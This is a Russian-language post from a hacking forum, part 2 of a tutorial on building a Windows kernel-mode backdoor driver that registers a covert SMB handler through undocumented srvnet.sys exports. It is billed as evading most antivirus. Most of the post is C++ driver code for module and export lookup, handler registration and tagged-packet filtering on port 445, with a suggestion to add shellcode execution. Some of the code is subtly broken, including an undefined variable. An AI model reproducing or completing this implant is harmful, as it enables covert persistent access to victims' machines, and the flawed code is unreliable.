• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Реверсинг и эксплуатация механизма SMB для написания бэкдора | Часть 2

coree

(L2) cache
Пользователь
Регистрация
27.12.2021
Сообщения
303
Решения
1
Реакции
116
Гарант сделки
1
Депозит
0.0006
Вступление
В прошлой части мы с вами рассмотрели механизм приема и обработки SMB запросов, в этой же части мы попытаемся написать бэкдор, используя полученные знания.

Немного поразмышляем
В чем суть данного бэкдора, в чем его плюсы и минусы? Во первых этот имплант незаметен для большинства антивирусных решений, он не биндит никаких новых портов, ничего не патчит и не хукает, мы используем "недокументированное API". Во-вторых это ring0-драйвер, что означает что мы имеем возможности исполнения кода с очень большими привилегиями, перезаписывать какие либо адреса в памяти и т.д.
К минусам можно отнести, как могли догадаться, относительную сложность загрузки драйвера, так как он требует цифровой подписи или какого либо обхода проверки этой подписи.

Вспоминаем из прошлой части
В прошлой части путем реверса мы узнали как работает регистрация SMB-серверов. Напоминаю для тех кто забыл:
Драйвер сервера формирует структуру с функциями, именем и некоторым значением
Драйвер передает эту структуру SMB-провайдеру (srvnet.sys) в функции SrvNetRegisterClient
Драйвер вызывает SrvNetRegisterClient, приводя себя в активированное состояние
Идея заключается в том, что мы можем проделать тот же порядок действий и загрузить свой собственный обработчик SMB-запросов. Приступим.

Написание кода
Для начала нам стоит задуматься о том, как "импортировать" нужные нам функции, такие как:
SrvNetRegisterClient - для регистрации сервера
SrvNetStartClient - для запуска сервера
SrvNetStopClient - для остановки сервера
SrvNetDeregisterClient - для дерегистрации сервера

Для их импорт мы должны написать собственную функцию, которая будет получать BaseAddress модуля (в данном случае srvnet.sys), искать функцию и возвращать указатель на нее.
В NTAPI есть необходимая нам функция RtlQueryModuleInformation, драйвера ядра часто используют ее для получения списка модулей ядра вместе с их базовыми адресами и полным путем. Ее прототип выглядит вот так:

C++:
NTSTATUS
RtlQueryModuleInformation (
    PULONG BufferSize,
    ULONG UnitSize,
    PVOID Buffer);

BufferSize это размер буфера, который будет записан функцией, UnitSize это размер структуры, описывающей информацию для одного модуля, Buffer это сам указатель на буфер, который мы выделим с помощью ExAllocatePoolWithTag и куда будет помещен список модулей ядра. RtlQueryModuleInformation принимает две структуры на выбор, разница между ними только в том, что в одной из них более расширенная информация, такая как путь к модулю. Это структура называется RTL_MODULE_EXTENDED_INFO. Вот ее определение:

C++:
typedef struct _RTL_MODULE_EXTENDED_INFO {
    PVOID BasicInfo;
    ULONG ImageSize;
    USHORT FileNameOffset;
    UCHAR FullPathName[256];
} RTL_MODULE_EXTENDED_INFO, * RTL_MODULE_EXTENDED_INFO;

BasicInfo это и есть базовый адрес, ImageSize это размер модуля, FileNameOffset это оффсет к конкретно имени модуля, FullPathName это полный путь к модулю. Для сравнения вдух строк мы можем использовать функцию strcmp. Из вышесказанного попробуем написать нашу функцию для поиска базового адреса. Вот уже готовый код с комментариями:
C++:
NTSTATUS GetModuleByName(
    _In_ LPCSTR driverName,
    _Out_ PVOID *ImageBase
)
{
    NTSTATUS status;
    ULONG size = 0;
    UNICODE_STRING RtlQueryString = { 0 };
    *ImageBase = NULL;
    RtlInitUnicodeString(&RtlQueryString, L"RtlQueryModuleInformation"); //инициализируем строку RtlQueryModuleInformation
    RTLQUERYMODULEINFORMATION FnRtlQueryModuleInformation = MmGetSystemRoutineAddress(&RtlQueryString); //получаем указатель на RtlQueryModuleInformation
    status = FnRtlQueryModuleInformation(&size, sizeof(RTL_MODULE_EXTENDED_INFO), NULL); //таким образом инициализируем размер буфера для последующего выделения
    PRTL_MODULE_EXTENDED_INFO pDriversList = (PRTL_MODULE_EXTENDED_INFO)ExAllocatePoolWithTag(PagedPool, size, "pTag"); //выделяем буфер-пул с нужным нам размером
 
    status = FnRtlQueryModuleInformation(&size, sizeof(RTL_MODULE_EXTENDED_INFO), pDriversList); //заполнили буфер списком модулей
    ULONG i;
    status = STATUS_NOT_FOUND;
    for (i = 0; i < size / sizeof(RTL_MODULE_EXTENDED_INFO); ++i){ //перебираем все количество модулей
        if (!strcmp(driverName, &pDriversList[i].FullPathName[pDrivers[i].FileNameOffset])) //пока не найдем нужный нам по смещению в полном пути
        {
            *ImageBase = pDriversList[i].BasicInfo; //получаем базовый адрес
            status = STATUS_SUCCESS;
            break;
        }
    }
    ExFreePoolWithTag(pDrivers, "pTag");
    return status;
}

Данный код далек от идеала, по-хорошему тут нужны некоторые проверки, но мы делаем ставку на то, что все уже работает как надо. Хорошо, мы узнали базовый адрес нашего модуля, теперь надо как-то найти необходимую функцию. Зная базовый адрес модуля мы можем получить его таблицу экспорта с помощью финкции RtlImageDirectoryEntryToData с индексом IMAGE_DIRECTORY_ENTRY_EXPORT (0). В качестве выходного параметра она принимат указатель на структуру IMAGE_EXPORT_DIRECTORY. Прототип RtlImageDirectoryEntryToData выглядит вот так:

C++:
PVOID
RtlImageDirectoryEntryToData(
    PVOID BaseAddress,
    BOOLEAN MappedAsImage,
    USHORT Directory,
    PULONG Size);

BaseAddress это базовый адрес, MappedAsImage это показатель того, что модуль с таким базовым адресом загружен в память как PE-образ, Directory это и есть индекс, Size это размер данных, которые буду приняты. Но для поиска адресов, нам будет необходим специальный макрос, который облегчит нам это действие. Это надо затем, что в самой структуре содержатся оффсеты, а нам нужны адреса. Для этого надо сложить базовый адрес и оффсет. Макрос будет вот таким:

C++:
#define RVA(base, offset) ((PVOID)((PUCHAR)(base) + (ULONG)(offset)))

Учитывая все это, напишем функцию. Я опять же дам готовый код с комментариями.

C++:
NTSTATUS GetRoutineByName(
    _In_ PVOID DriverImageBase,
    _In_ LPCSTR FunctionName,
    _Out_ PVOID *RoutineAddress
)
{
    ULONG dirSize;
    PIMAGE_EXPORT_DIRECTORY pExportDir; //структура экспорта
    PULONG names;
    PUSHORT ordinals;
    PULONG functions;
    UNICODE_STRING RtlImageString;

    *RoutineAddress = NULL;

    RtlInitUnicodeString(&RtlImageString, L"RtlImageDirectoryEntryToData");
    RTLIMAGEDIRECTORYENTRYTODATA FnRtlImageDirectoryEntryToData = MmGetSystemRoutineAddress(&RtlImageString); //получаем указатель на RtlImageDirectoryEntryToData

    pExportDir = (PIMAGE_EXPORT_DIRECTORY)FnRtlImageDirectoryEntryToData(DriverImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_EXPORT, &dirSize); //Получаем таблицу экспорта
    names = (PULONG)RVA(DriverImageBase, pExportDir->AddressOfNames); //Указатель на имена функций из таблицы экспорта
    ordinals = (PUSHORT)RVA(DriverImageBase, pExportDir->AddressOfNameOrdinals); //Указатель на порядковые номера функций из таблицы экспорта
    functions = (PULONG)RVA(DriverImageBase, pExportDir->AddressOfFunctions); //Указатель на адреса функций из таблицы экспорта

    for (ULONG i = 0; i < pExportDir->NumberOfNames; ++i) //перебираем все количество функций
    {
        LPCSTR name = (LPCSTR)RVA(DriverImageBase, names[i]); //получаем имя текущей функции
        if (!strcmp(FunctionName, name)) //пока не найдем искомую
        {
            *RoutineAddress = RVA(DriverImageBase, functions[ordinals[i]]); //присваиваем найденый адрес
            return STATUS_SUCCESS;
        }
    }
    return STATUS_NOT_FOUND;
}

Фух, мы написали две наши необходимых функции для правильного поиск функций из srvnet.sys. Следующим шагом нам необходимо написать прототипы функций SrvNetStartClient, SrvNetRegisterClient, SrvNetStopClient и SrvNetDeregisterClient. Теоретически, мы могли просто скопировать их из псевдокода который нам предложила Ida, но я доработал их до более-менее адекватного вида. Взглянем на SrvNetRegisterClient:

C++:
typedef NTSTATUS(__stdcall* SRVNETREGISTERCLIENT)(_In_ __int64 Table, _Out_ PHANDLE HandleToEntry);

Если вы читали предыдущую часть, то все должно быть понятно, но я на всякий случай повторюсь. Здесь Table это наша собственная сформированная таблица из указателей на функции, имени и т.д, а HandleToEntry это адрес юнита зарегистрированного сервера в таблице SrvNetDeviceExtension.

C++:
typedef NTSTATUS(__stdcall *SRVNETSTOPCLIENT)(_In_ HANDLE Handle);
typedef NTSTATUS(__stdcall* SRVNETSTARTCLIENT)(_In_ HANDLE Handle);
typedef NTSTATUS(__stdcall* SRVNETDEREGISTERCLIENT)(_In_ HANDLE Handle);

А это прототипы функций SrvNetStopClient, SrvNetStartClient, SrvNetDeregisterClient соответственно. Всем им требуется лишь адрес зарегистрированного сервера для выполнения действий. Для регистрации мы должны сначала вызвать GetModuleByName для нахождения базового адреса, а потом и GetRoutineByName для каждой функции и вызвать наконец регистрацию и запуск сервера. Вот примерный код функции, вызываемой при старте драйвера:

C++:
NTSTATUS RegisterSrvNetEndpoint(){
    SRVNETREGISTERCLIENT SrvNetRegisterClient;
    SRVNETSTARTCLIENT SrvNetStartClient;
    NTSTATUS status;
    if (NT_SUCCESS(status = GetModuleByName("srvnet.sys", &DriverImageBase))) {
        if (NT_SUCCESS(status = GetRoutineByName(DriverImageBase, "SrvNetRegisterClient", (PVOID*)&SrvNetRegisterClient))) {
            if (NT_SUCCESS(status = GetRoutineByName(DriverImageBase, "SrvNetStartClient", (PVOID*)&SrvNetStartClient))) {
                if (NT_SUCCESS(status = GetRoutineByName(DriverImageBase, "SrvNetStopClient", (PVOID*)&SrvNetStopClient))) {
                    if (NT_SUCCESS(status = GetRoutineByName(DriverImageBase, "SrvNetDeregisterClient", (PVOID*)&SrvNetDeregisterClient))) {
                        if (NT_SUCCESS(status = SrvNetRegisterClient(CallbackTable, &SrvNetHandle))) {
                            if (!NT_SUCCESS(status = SrvNetStartClient(SrvNetHandle))) {
                                DbgPrint("[-] Failed to start client!\n");
                            }
                        }
                    }
                }
            }
        }
    }
    return STATUS_SUCCESS;
}

А вот и набросок для функции выгрузки драйвера:

C++:
NTSTATUS DeregisterSrvNetEndpoint(){
    NTSTATUS status;
    if (SrvNetHandle){
        if (NT_SUCCESS(status = SrvNetStopClient(SrvNetHandle))) {
            if (NT_SUCCESS(status = SrvNetDeregisterClient(SrvNetHandle))) {
                SrvNetHandle = NULL;
            }
        }
    }
}

Наконец, заполняем массив callback-функций, учитывая сведения из первой части. Для примера делаем это в DriverEntry (точке входа драйвера):

C++:
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegistryPath)
{
    pDriverObject->DriverUnload = &DriverUnload;
    memset(CallbackTable, 0, 0x50);
    CallbackTable[0] = 0x18;
    CallbackTable[1] = (__int64)"backdoor";
    CallbackTable[3] = (__int64)RegisterEndpoint;
    CallbackTable[4] = (__int64)DeregisterEndpoint;
    CallbackTable[5] = (__int64)NegotiateCallback;
    CallbackTable[6] = (__int64)ConnectCallback;
    CallbackTable[7] = (__int64)&ReceiveCallback;
    CallbackTable[8] = (__int64)DisconnectClient;
    CallbackTable[2] = 0x0;
    CallbackTable[11] = 0x3;
    RegisterSrvNetEndpoint();
    return STATUS_SUCCESS;
}

Если структура заполнена правильно, то первым делом будет вызвана функция RegisterEndpoint. Вспомним о чем я говорил в первой части, эта функция должна возвращать значение неравное нулю, иначе srvnet.sys посчитает что функция вернула результат "неудачи" и запустит проверку заново. Для примера можем возвращать 0x1:

C++:
NTSTATUS RegisterEndpoint(){
    DbgPrint("[+] Triggered RegisterEndpoint\n");
    return 0x1;

Так, самое сложное уже сделано, драйвер успешно себя зарегистрировал как сервер, но нам же надо наделить его каким-либо функционалом? Ссылая к первой части, впервые буфер (данные пакета, отправленного на 445 порт) передаются в вызванную srvnet-ом функцию NegotiateCallback, которая, как вы помните, "договаривается" о связи между клиентом и сервером. Значит, функционал будем определять в ней. NegotiateCallback принимает три аргумента, два последних это размер буфера и сам буфер. Мы можем устроить валидацию пакета, чтобы узнать, был ли он адресован именно нам. К примеру, мы можем использовать специальный тег. Такой метод валидации сипользуется и в легитимных smb-серверах. Тег занимает четыре байта в smb-пакете, я приведу пример структуры smb-пакетов:

Код:
unsigned char buf[] = {
    /* NetBIOS Wrapper */
    0x00,                   /* session */
    0x00, 0x00, 0xC4,       /* length */

    /* SMB Header */
    0x4D, 0x75, 0x44, 0x61, /* SMB tag  !!!!IMPORTANT!!!!*/
    0x40, 0x00,             /* structure size, must be 0x40 */
    0x00, 0x00,             /* credit charge */
    0x00, 0x00,             /* channel sequence */
    0x00, 0x00,             /* channel reserved */
    0x0C, 0x00,             /* command     !!!!IMPORTANT!!!!*/
    0x00, 0x00,             /* credits requested */
    0x00, 0x00, 0x00, 0x00, /* flags */
    0x00, 0x00, 0x00, 0x00, /* chain offset */
    0x00, 0x00, 0x00, 0x00, /* message id */
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, /* reserved */
    0x00, 0x00, 0x00, 0x00, /* tree id */
    0x00, 0x00, 0x00, 0x00, /* session id */
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, /* signature */
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,

    /* SMB Negotiation Request */
    0x24, 0x00,             /* structure size */
    0x08, 0x00,             /* dialect count, 8 */
    0x00, 0x00,             /* security mode */
    0x00, 0x00,             /* reserved */
    0x7F, 0x00, 0x00, 0x00, /* capabilities */
    0x01, 0x02, 0xAB, 0xCD, /* guid */
    0x01, 0x02, 0xAB, 0xCD,
    0x01, 0x02, 0xAB, 0xCD,
    0x01, 0x02, 0xAB, 0xCD,
    0x78, 0x00,             /* negotiate context */
    0x00, 0x00,             /* additional padding */
    0x02, 0x00,             /* negotiate context count */
    0x00, 0x00,             /* reserved 2 */
    0x02, 0x02,             /* dialects, SMB 2.0.2 */
    0x10, 0x02,             /* SMB 2.1 */
    0x22, 0x02,             /* SMB 2.2.2 */
    0x24, 0x02,             /* SMB 2.2.3 */
    0x00, 0x03,             /* SMB 3.0 */
    0x02, 0x03,             /* SMB 3.0.2 */
    0x10, 0x03,             /* SMB 3.0.1 */
    0x11, 0x03,             /* SMB 3.1.1 */
    0x00, 0x00, 0x00, 0x00, /* padding */

    /* Preauth context */
    0x01, 0x00,             /* type */
    0x26, 0x00,             /* length */
    0x00, 0x00, 0x00, 0x00, /* reserved */
    0x01, 0x00,             /* hash algorithm count */
    0x20, 0x00,             /* salt length */
    0x01, 0x00,             /* hash algorith, SHA512 */
    0x00, 0x00, 0x00, 0x00, /* salt */
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00,             /* pad */

    /* Compression context */
    0x03, 0x00,             /* type */
    0x0E, 0x00,             /* length */
    0x00, 0x00, 0x00, 0x00, /* reserved */
    0x02, 0x00,             /* compression algorithm count */
    0x00, 0x00,             /* padding */
    0x01, 0x00, 0x00, 0x00, /* flags */
    0x02, 0x00,             /* LZ77 */
    0x03, 0x00,             /* LZ77+Huffman */
    0x00, 0x00, 0x00, 0x00, /* padding */
    0x00, 0x00, 0x00, 0x00
};

SMB-тэг находится сразу в начале секции с данными и в данном случае этот тэг 0x4D754614. То есть нам достаточно прочитать первые четыре байта в обратно порядке для того, чтобы убедиться в правильности пакета. Я снова приведу небольшой пример кода для реализации всего сказанного:

C++:
NTSTATUS NegotiateCallback(PVOID Unk0, ULONG InputBufferSize, PULONG InputBuffer){
    DbgPrint("[+] Triggered NegotiateCallback\n");
    DbgPrint("<================================>");
    if (*(ULONG*)InputBuffer == 0x6144754D){
        DbgPrint("[+] Received packet with tag 0x%x", *(ULONG*)InputBuffer);
    }
    return 0;
}

ULONG имеет размер 4 байта, таким образом мы гарантированно прочитаем наши первые четыре байта. В данном случае я разыменовываю таким образом).

Заключение
В данной статья я специально не приводил 100% кода, но всего данного в ней должно хватить для повторения опыта. Хочу также отметить, что по моему исследованию проверка с RegisterEndpoint-ом присутствует только в Windows 10, на семерке такого замечено не было. В данном драйвере вполне можно реализовать "боевой" функционал, вроде исполнения шеллкода или перезаписи адресов в памяти, но здесь этого делать я не буду, так как это всего лишь демонстрация возможностей использования недокументированного API. Если вы найдете ошибки в тексте, пишите об этом мне.
P.S. подобный метод работает всем известный DoublePulsar
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх